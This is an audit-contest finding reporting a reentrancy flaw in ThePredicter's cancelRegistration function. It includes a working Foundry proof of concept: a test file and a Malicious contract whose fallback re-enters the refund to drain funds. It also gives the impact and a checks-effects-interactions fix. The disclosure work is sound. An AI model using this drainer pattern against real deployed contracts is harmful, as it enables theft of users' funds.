Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy vulnerability in `ThePredicter::cancelRegistration`

Summary

ThePredicter::cancelRegistrationis prone to reentrancy attack due to playerStatuschange after low level .call for entranceFeerefund by cancellation.

Vulnerability Details

ThePredicter::cancelRegistrationfunction checks whether the playersStatus of msg.sender is pending, and if so - refunds him with entranceFee. After that the playersStatus of msg.sender is set to canceled which leaves the function open for reentrancy attack and draining the protocol of its funds.

Create a new file Reentrancy.t.sol in the test folder with the following code

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "forge-std/Test.sol";
import "src/ThePredicter.sol";
import "src/Malicious.sol";
contract Reentrancy is Test {
ThePredicter public thePredicter;
Malicious public malicious;
address public owner = address(this);
uint256 public entranceFee = 0.04 ether;
ScoreBoard public scoreBoard;
address public organizer = makeAddr("organizer");
function setUp() public {
vm.startPrank(organizer);
scoreBoard = new ScoreBoard();
thePredicter = new ThePredicter(
address(scoreBoard),
0.04 ether,
0.0001 ether
);
scoreBoard.setThePredicter(address(thePredicter));
malicious = new Malicious(address(thePredicter));
vm.deal(address(thePredicter), 1 ether);
vm.stopPrank();
}
function testReentrancyAttack() public {
// Fund the malicious contract with enough ether to register
vm.deal(address(malicious), entranceFee);
// Perform the attack
malicious.attack{value: entranceFee}();
// Check if the malicious contract was able to re-enter
assertEq(uint256(thePredicter.playersStatus(address(malicious))), uint256(ThePredicter.Status.Canceled));
assertEq(address(malicious).balance, 2 * entranceFee); // Malicious contract should have withdrawn twice the fee
}
}

and a new contract in the source - Malicious.sol

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "src/ThePredicter.sol";
contract Malicious {
ThePredicter public thePredicter;
constructor(address _thePredicter) {
thePredicter = ThePredicter(_thePredicter);
}
// Fallback function to perform the reentrant call
fallback() external payable {
if (address(thePredicter).balance >= thePredicter.entranceFee()) {
thePredicter.cancelRegistration();
}
}
function attack() public payable {
require(msg.value == thePredicter.entranceFee(), "Incorrect fee");
thePredicter.register{value: msg.value}();
thePredicter.cancelRegistration();
}
// Function to receive the ether sent back from the contract
receive() external payable {}
}

Run the forge test --mt testReentrancyAttack in the VSC terminal.

Impact

The most direct impact is that an attacker can drain the contract of its funds. By repeatedly calling a function that transfers funds before the contract's state is updated, an attacker can withdraw more funds than they are entitled to. Additionally, as the prize pool consists of the entranceFee funds, it would be impossible to pay to prize to the winners.

Tools Used

Foundry, Manual review

Recommendations

Follow the 'Checks/Effects/Interactions' method by implementing the status change to canceled before the .call for entranceFee refund and/or use reentrancy guard.

Updates

Lead Judging Commences

NightHawK Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in cancelRegistration

Reentrancy of ThePredicter::cancelRegistration allows a maliciour user to drain all funds.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.